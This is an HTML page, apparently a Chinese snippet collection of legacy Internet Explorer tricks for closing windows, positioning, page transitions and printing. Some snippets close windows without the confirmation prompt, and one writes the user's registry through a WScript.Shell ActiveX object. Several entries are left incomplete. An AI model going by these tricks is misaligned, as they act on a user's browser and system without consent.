<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><STRONG>&lt;IMG&nbsp;SRC=<SPAN style="COLOR: #ff00ff">"mypicture.jpg"</SPAN>&nbsp;HEIGHT=<SPAN style="COLOR: #ff00ff">"100px"</SPAN>&nbsp;WIDTH=<SPAN style="COLOR: #ff00ff">"100px"</SPAN>&nbsp;GALLERYIMG=<SPAN style="COLOR: #ff00ff">"false"</SPAN>&gt;&nbsp; <BR>or <BR>&lt;head&gt; <BR>&lt;meta&nbsp;http-equiv=<SPAN style="COLOR: #ff00ff">"imagetoolbar"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"no"</SPAN>&gt; <BR>&lt;/head&gt;</STRONG> </DIV></FONT>
<P></P></FONT>
<P><FONT size=2><STRONG>//无提示关闭 <BR></STRONG></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;Close() <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;ua=navigator.userAgent <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;ie=navigator.appName==<SPAN style="COLOR: #ff00ff">"Microsoft&nbsp;Internet&nbsp;Explorer"</SPAN>?<SPAN style="COLOR: #0000ff">true</SPAN>:false <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(ie) <BR>&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;IEversion=parseFloat(ua.substring(ua.indexOf(<SPAN style="COLOR: #ff00ff">"MSIE&nbsp;"</SPAN>)+5,ua.indexOf(<SPAN style="COLOR: #ff00ff">";"</SPAN>,ua.indexOf(<SPAN style="COLOR: #ff00ff">"MSIE&nbsp;"</SPAN>)))) <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(IEversion&lt;&nbsp;5.5) <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;str&nbsp;&nbsp;=&nbsp;'&lt;object&nbsp;id=noTipClose&nbsp;classid=<SPAN style="COLOR: #ff00ff">"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"</SPAN>&gt;' <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;str&nbsp;+=&nbsp;'&lt;param&nbsp;name=<SPAN style="COLOR: #ff00ff">"Command"</SPAN>&nbsp;value=<SPAN style="COLOR: #ff00ff">"Close"</SPAN>&gt;&lt;/object&gt;'; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.body.insertAdjacentHTML(<SPAN style="COLOR: #ff00ff">"beforeEnd"</SPAN>,&nbsp;str); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.all.noTipClose.Click(); <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.opener&nbsp;=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.close(); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;} <BR>&nbsp;else <BR>&nbsp;{ <BR>&nbsp;&nbsp;window.close() <BR>&nbsp;&nbsp;&nbsp;} <BR>} </DIV></FONT>
<P><FONT size=2><STRONG>//取得控件得绝对位置(1)</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"javascript"</SPAN>&gt;&nbsp; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;getoffset(e) <BR>{&nbsp; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;t=e.offsetTop;&nbsp; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;l=e.offsetLeft;&nbsp; <BR>&nbsp;<SPAN style="COLOR: #0000ff">while</SPAN>(e=e.offsetParent) <BR>&nbsp;{&nbsp; <BR>&nbsp;&nbsp;t+=e.offsetTop;&nbsp; <BR>&nbsp;&nbsp;l+=e.offsetLeft;&nbsp; <BR>&nbsp;}&nbsp; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;rec&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">Array</SPAN>(1); <BR>&nbsp;rec[0]&nbsp;&nbsp;=&nbsp;t; <BR>&nbsp;rec[1]&nbsp;=&nbsp;l; <BR>&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;rec <BR>}&nbsp; <BR><FONT size=2>&lt;/script&gt; </FONT></DIV>
<P><STRONG>//获得控件的绝对位置(2)</STRONG> </P></FONT>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">oRect&nbsp;=&nbsp;obj.getBoundingClientRect(); <BR>oRect.left <BR>oRect. </DIV>
<P><FONT size=2><STRONG>//最小化,最大化,关闭</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;object&nbsp;id=min&nbsp;classid=<SPAN style="COLOR: #ff00ff">"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"</SPAN>&gt;&nbsp; <BR>&lt;param&nbsp;name=<SPAN style="COLOR: #ff00ff">"Command"</SPAN>&nbsp;value=<SPAN style="COLOR: #ff00ff">"Minimize"</SPAN>&gt;&lt;/object&gt;&nbsp; <BR>&lt;object&nbsp;id=max&nbsp;classid=<SPAN style="COLOR: #ff00ff">"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"</SPAN>&gt;&nbsp; <BR>&lt;param&nbsp;name=<SPAN style="COLOR: #ff00ff">"Command"</SPAN>&nbsp;value=<SPAN style="COLOR: #ff00ff">"Maximize"</SPAN>&gt;&lt;/object&gt;&nbsp; <BR>&lt;OBJECT&nbsp;id=close&nbsp;classid=<SPAN style="COLOR: #ff00ff">"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"</SPAN>&gt;&nbsp; <BR>&lt;PARAM&nbsp;NAME=<SPAN style="COLOR: #ff00ff">"Command"</SPAN>&nbsp;value=<SPAN style="COLOR: #ff00ff">"Close"</SPAN>&gt;&lt;/OBJECT&gt;&nbsp; <BR>&lt;input&nbsp;type=button&nbsp;value=最小化&nbsp;onclick=min.Click()&gt;&nbsp; <BR>&lt;input&nbsp;type=button&nbsp;value=最大化&nbsp;onclick=max.Click()&gt;&nbsp; <BR>&lt;input&nbsp;type=button&nbsp;value=关闭&nbsp;onclick=close.Click()&gt;&nbsp; </DIV></FONT>
<P></P>
<P></P>
<P><FONT size=2></FONT></P><FONT size=2><STRONG>//光标停在文字最后</STRONG> <BR></FONT>
<P></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"javascript"</SPAN>&gt; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;cc() <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;e&nbsp;=&nbsp;event.srcElement; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;r&nbsp;=e.createTextRange(); <BR>&nbsp;r.moveStart('character',e.value.length); <BR>&nbsp;r.collapse(<SPAN style="COLOR: #0000ff">true</SPAN>); <BR>&nbsp;r.select(); <BR>} <BR>&lt;/script&gt; <BR>&lt;input&nbsp;type=text&nbsp;name=text1&nbsp;value=<SPAN style="COLOR: #ff00ff">"123"</SPAN>&nbsp;onfocus=<SPAN style="COLOR: #ff00ff">"cc()"</SPAN>&gt; </DIV></FONT>
<P><FONT size=2><STRONG>//页面进入和退出的特效 <BR></STRONG></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">进入页面&lt;meta&nbsp;http-equiv=<SPAN style="COLOR: #ff00ff">"Page-Enter"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"revealTrans(duration=x,&nbsp;transition=y)"</SPAN>&gt; <BR>推出页面&lt;meta&nbsp;http-equiv=<SPAN style="COLOR: #ff00ff">"Page-Exit"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"revealTrans(duration=x,&nbsp;transition=y)"</SPAN>&gt;&nbsp; <BR>这个是页面被载入和调出时的一些特效。duration表示特效的持续时间，以秒为单位。transition表示使 <BR>用哪种特效，取值为1-23: <BR>　　0&nbsp;矩形缩小&nbsp; <BR>　　1&nbsp;矩形扩大&nbsp; <BR>　　2&nbsp;圆形缩小 <BR>　　3&nbsp;圆形扩大&nbsp; <BR>　　4&nbsp;下到上刷新&nbsp; <BR>　　5&nbsp;上到下刷新 <BR>　　6&nbsp;左到右刷新&nbsp; <BR>　　7&nbsp;右到左刷新&nbsp; <BR>　　8&nbsp;竖百叶窗 <BR>　　9&nbsp;横百叶窗&nbsp; <BR>　　10&nbsp;错位横百叶窗&nbsp; <BR>　　11&nbsp;错位竖百叶窗 <BR>　　12&nbsp;点扩散&nbsp; <BR>　　13&nbsp;左右到中间刷新&nbsp; <BR>　　14&nbsp;中间到左右刷新 <BR>　　15&nbsp;中间到上下 <BR>　　16&nbsp;上下到中间&nbsp; <BR>　　17&nbsp;右下到左上 <BR>　　18&nbsp;右上到左下&nbsp; <BR>　　19&nbsp;左上到右下&nbsp; <BR>　　20&nbsp;左下到右上 <BR>　　21&nbsp;横条&nbsp; <BR>　　22&nbsp;竖条&nbsp; <BR>　　23&nbsp; </DIV></FONT>
<P><FONT size=2><STRONG>//网页是否被检索</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;meta&nbsp;name=<SPAN style="COLOR: #ff00ff">"ROBOTS"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"属性值"</SPAN>&gt; <BR>　　其中属性值有以下一些: <BR>　　属性值为<SPAN style="COLOR: #ff00ff">"all"</SPAN>:&nbsp;文件将被检索，且页上链接可被查询； <BR>　　属性值为<SPAN style="COLOR: #ff00ff">"none"</SPAN>:&nbsp;文件不被检索，而且不查询页上的链接； <BR>　　属性值为<SPAN style="COLOR: #ff00ff">"index"</SPAN>:&nbsp;文件将被检索； <BR>　　属性值为<SPAN style="COLOR: #ff00ff">"follow"</SPAN>:&nbsp;查询页上的链接； <BR>　　属性值为<SPAN style="COLOR: #ff00ff">"noindex"</SPAN>:&nbsp;文件不检索，但可被查询链接； <BR>　　属性值为<SPAN style="COLOR: #ff00ff">"nofollow"</SPAN>:&nbsp; </DIV></FONT>
<P></P>
<P><BR><FONT size=2><STRONG>//打印分页</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;p&nbsp;&nbsp;style=<SPAN style="COLOR: #ff00ff">"page-break-after:always"</SPAN>&gt;page1&lt;/p&gt;&nbsp;&nbsp; <BR>&lt;p&nbsp;&nbsp;style=<SPAN style="COLOR: #ff00ff">"page-break-after:always"</SPAN>&gt;page2&lt;/p&gt;&nbsp;&nbsp; </DIV></FONT>
<P></P>
<P><BR><FONT size=2><STRONG>//设置打印</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;object&nbsp;id=<SPAN style="COLOR: #ff00ff">"factory"</SPAN>&nbsp;style=<SPAN style="COLOR: #ff00ff">"display:none"</SPAN>&nbsp;viewastext <BR>&nbsp;&nbsp;classid=<SPAN style="COLOR: #ff00ff">"clsid:1663ed61-23eb-11d2-b92f-008048fdd814"</SPAN> <BR>&nbsp;&nbsp;codebase=<SPAN style="COLOR: #ff00ff">"http:<SPAN style="COLOR: #008000">//www.meadroid.com/scriptx/ScriptX.cab#Version=5,60,0,360"</SPAN> </SPAN><BR>&gt;&lt;/object&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=页面设置&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"factory.printing.PageSetup()"</SPAN>&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=打印预览&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"factory.printing.Preview()"</SPAN>&gt; <BR>&nbsp; <BR>&lt;script&nbsp;language=javascript&gt; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;window.onload() <BR>{ <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//&nbsp;--&nbsp;advanced&nbsp;features </SPAN><BR>&nbsp;&nbsp;&nbsp;factory.printing.SetMarginMeasure(2)&nbsp;<SPAN style="COLOR: #008000">//&nbsp;measure&nbsp;margins&nbsp;in&nbsp;inches </SPAN><BR>&nbsp;&nbsp;&nbsp;factory.printing.SetPageRange(<SPAN style="COLOR: #0000ff">false</SPAN>,&nbsp;1,&nbsp;3)&nbsp;<SPAN style="COLOR: #008000">//&nbsp;need&nbsp;pages&nbsp;from&nbsp;1&nbsp;to&nbsp;3 </SPAN><BR>&nbsp;&nbsp;&nbsp;factory.printing.printer&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"HP&nbsp;DeskJet&nbsp;870C"</SPAN> <BR>&nbsp;&nbsp;&nbsp;factory.printing.copies&nbsp;=&nbsp;2 <BR>&nbsp;&nbsp;&nbsp;factory.printing.collate&nbsp;=&nbsp;true <BR>&nbsp;&nbsp;&nbsp;factory.printing.paperSize&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"A4"</SPAN> <BR>&nbsp;&nbsp;&nbsp;factory.printing.paperSource&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"Manual&nbsp;feed"</SPAN> <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//&nbsp;--&nbsp;basic&nbsp;features </SPAN><BR>&nbsp;&nbsp;&nbsp;factory.printing.header&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"居左显示&b居中显示&b居右显示页码，第&p页/共&P页"</SPAN> <BR>&nbsp;&nbsp;&nbsp;factory.printing.footer&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"（自定义页脚）"</SPAN> <BR>&nbsp;&nbsp;&nbsp;factory.printing.portrait&nbsp;=&nbsp;false <BR>&nbsp;&nbsp;&nbsp;factory.printing.leftMargin&nbsp;=&nbsp;0.75 <BR>&nbsp;&nbsp;&nbsp;factory.printing.topMargin&nbsp;=&nbsp;1.5 <BR>&nbsp;&nbsp;&nbsp;factory.printing.rightMargin&nbsp;=&nbsp;0.75 <BR>&nbsp;&nbsp;&nbsp;factory.printing.bottomMargin&nbsp;=&nbsp;1.5 <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;Print(frame)&nbsp;{ <BR>&nbsp;&nbsp;factory.printing.Print(<SPAN style="COLOR: #0000ff">true</SPAN>,&nbsp;frame)&nbsp;<SPAN style="COLOR: #008000">//&nbsp;print&nbsp;with&nbsp;prompt </SPAN><BR>} <BR>&lt;/script&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"打印本页"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"factory.printing.Print(false)"</SPAN>&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"页面设置"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"factory.printing.PageSetup()"</SPAN>&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"打印预览"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"factory.printing.Preview()"</SPAN>&gt;&lt;br&gt; <BR>&lt;a&nbsp;href=<SPAN style="COLOR: #ff00ff">"http:<SPAN style="COLOR: #008000">//www.meadroid.com/scriptx/docs/printdoc.htm?static"</SPAN>&nbsp;&nbsp;target=_blank&gt;具体使用手册，更多信息，点这里&lt;/a&gt; </SPAN><BR><STRONG>&nbsp;</STRONG> </DIV>
<P><STRONG>//自带的打印预览</STRONG> </P></FONT><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">WebBrowser.ExecWB(1,1)&nbsp;打开&nbsp; <BR>Web.ExecWB(2,1)&nbsp;关闭现在所有的IE窗口，并打开一个新窗口&nbsp; <BR>Web.ExecWB(4,1)&nbsp;保存网页&nbsp; <BR>Web.ExecWB(6,1)&nbsp;打印&nbsp; <BR>Web.ExecWB(7,1)&nbsp;打印预览&nbsp; <BR>Web.ExecWB(8,1)&nbsp;打印页面设置&nbsp; <BR>Web.ExecWB(10,1)&nbsp;查看页面属性&nbsp; <BR>Web.ExecWB(15,1)&nbsp;好像是撤销，有待确认&nbsp; <BR>Web.ExecWB(17,1)&nbsp;全选&nbsp; <BR>Web.ExecWB(22,1)&nbsp;刷新&nbsp; <BR>Web.ExecWB(45,1)&nbsp;关闭窗体无提示&nbsp; <BR>&lt;style&nbsp;media=print&gt;&nbsp; <BR>.Noprint{display:none;}&lt;!--用本样式在打印时隐藏非打印项目--&gt;&nbsp; <BR>.PageNext{page-break-after:&nbsp;always;}&lt;!--控制分页--&gt;&nbsp; <BR>&lt;/style&gt;&nbsp; <BR>&lt;object&nbsp;&nbsp;id=<SPAN style="COLOR: #ff00ff">"WebBrowser"</SPAN>&nbsp;&nbsp;width=0&nbsp;&nbsp;height=0&nbsp;&nbsp;classid=<SPAN style="COLOR: #ff00ff">"CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"</SPAN>&gt;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&lt;/object&gt;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; <BR>&lt;center&nbsp;class=<SPAN style="COLOR: #ff00ff">"Noprint"</SPAN>&nbsp;&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=打印&nbsp;onclick=document.all.WebBrowser.ExecWB(6,1)&gt;&nbsp; <BR>&lt;input&nbsp;type=button&nbsp;value=直接打印&nbsp;onclick=document.all.WebBrowser.ExecWB(6,6)&gt;&nbsp; <BR>&lt;input&nbsp;type=button&nbsp;value=页面设置&nbsp;onclick=document.all.WebBrowser.ExecWB(8,1)&gt;&nbsp; <BR>&lt;/p&gt;&nbsp; <BR>&lt;p&gt;&nbsp;&lt;input&nbsp;type=button&nbsp;value=打印预览&nbsp;onclick=document.all.WebBrowser.ExecWB(7,1)&gt;&nbsp; <BR>&lt;/center&gt; </DIV></FONT>
<P><FONT size=2><STRONG>//去掉打印时的页眉页脚</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;&nbsp;language=<SPAN style="COLOR: #ff00ff">"JavaScript"</SPAN>&gt;&nbsp;&nbsp; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;HKEY_Root,HKEY_Path,HKEY_Key; <BR>HKEY_Root=<SPAN style="COLOR: #ff00ff">"HKEY_CURRENT_USER"</SPAN>; <BR>HKEY_Path=<SPAN style="COLOR: #ff00ff">"\\Software\\Microsoft\\Internet&nbsp;Explorer\\PageSetup\\"</SPAN>; <BR><SPAN style="COLOR: #008000">//设置网页打印的页眉页脚为空 </SPAN><BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;PageSetup_Null() <BR>{ <BR>&nbsp;try <BR>&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;Wsh=<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"WScript.Shell"</SPAN>); <BR>&nbsp;&nbsp;HKEY_Key=<SPAN style="COLOR: #ff00ff">"header"</SPAN>; <BR>&nbsp;&nbsp;Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,<SPAN style="COLOR: #ff00ff">""</SPAN>); <BR>&nbsp;&nbsp;HKEY_Key=<SPAN style="COLOR: #ff00ff">"footer"</SPAN>; <BR>&nbsp;&nbsp;Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,<SPAN style="COLOR: #ff00ff">""</SPAN>); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e){} <BR>} <BR><SPAN style="COLOR: #008000">//设置网页打印的页眉页脚为默认值 </SPAN><BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;&nbsp;PageSetup_Default() <BR>{&nbsp;&nbsp; <BR>&nbsp;try <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;Wsh=<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"WScript.Shell"</SPAN>); <BR>&nbsp;&nbsp;HKEY_Key=<SPAN style="COLOR: #ff00ff">"header"</SPAN>; <BR>&nbsp;&nbsp;Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,<SPAN style="COLOR: #ff00ff">"&w&b页码,&p/&P"</SPAN>); <BR>&nbsp;&nbsp;HKEY_Key=<SPAN style="COLOR: #ff00ff">"footer"</SPAN>; <BR>&nbsp;&nbsp;Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,<SPAN style="COLOR: #ff00ff">"&u&b&d"</SPAN>); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e){} <BR>} <BR>&lt;/script&gt; <BR>&lt;input&nbsp;type=<SPAN style="COLOR: #ff00ff">"button"</SPAN>&nbsp;value=<SPAN style="COLOR: #ff00ff">"清空页码"</SPAN>&nbsp;onclick=PageSetup_Null()&gt; <BR>&lt;input&nbsp;type=<SPAN style="COLOR: #ff00ff">"button"</SPAN>&nbsp;value=<SPAN style="COLOR: #ff00ff">"恢复页码"</SPAN>&nbsp;onclick=PageSetup_Default()&gt; </DIV>
<P><FONT size=2><STRONG>//浏览器验证</STRONG> <BR></FONT></P></FONT><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;checkBrowser() <BR>{&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ver=navigator.appVersion&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.dom=document.getElementById?1:0&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie6=(<SPAN style="COLOR: #0000ff">this</SPAN>.ver.indexOf(<SPAN style="COLOR: #ff00ff">"MSIE&nbsp;6"</SPAN>)&gt;-1&nbsp;&&&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.dom)?1:0;&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie5=(<SPAN style="COLOR: #0000ff">this</SPAN>.ver.indexOf(<SPAN style="COLOR: #ff00ff">"MSIE&nbsp;5"</SPAN>)&gt;-1&nbsp;&&&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.dom)?1:0;&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie4=(document.all&nbsp;&&&nbsp;!<SPAN style="COLOR: #0000ff">this</SPAN>.dom)?1:0;&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ns5=(<SPAN style="COLOR: #0000ff">this</SPAN>.dom&nbsp;&&&nbsp;parseInt(<SPAN style="COLOR: #0000ff">this</SPAN>.ver)&nbsp;&gt;=&nbsp;5)&nbsp;?1:0;&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ns4=(document.layers&nbsp;&&&nbsp;!<SPAN style="COLOR: #0000ff">this</SPAN>.dom)?1:0;&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.mac=(<SPAN style="COLOR: #0000ff">this</SPAN>.ver.indexOf('Mac')&nbsp;&gt;&nbsp;-1)&nbsp;?1:0;&nbsp; 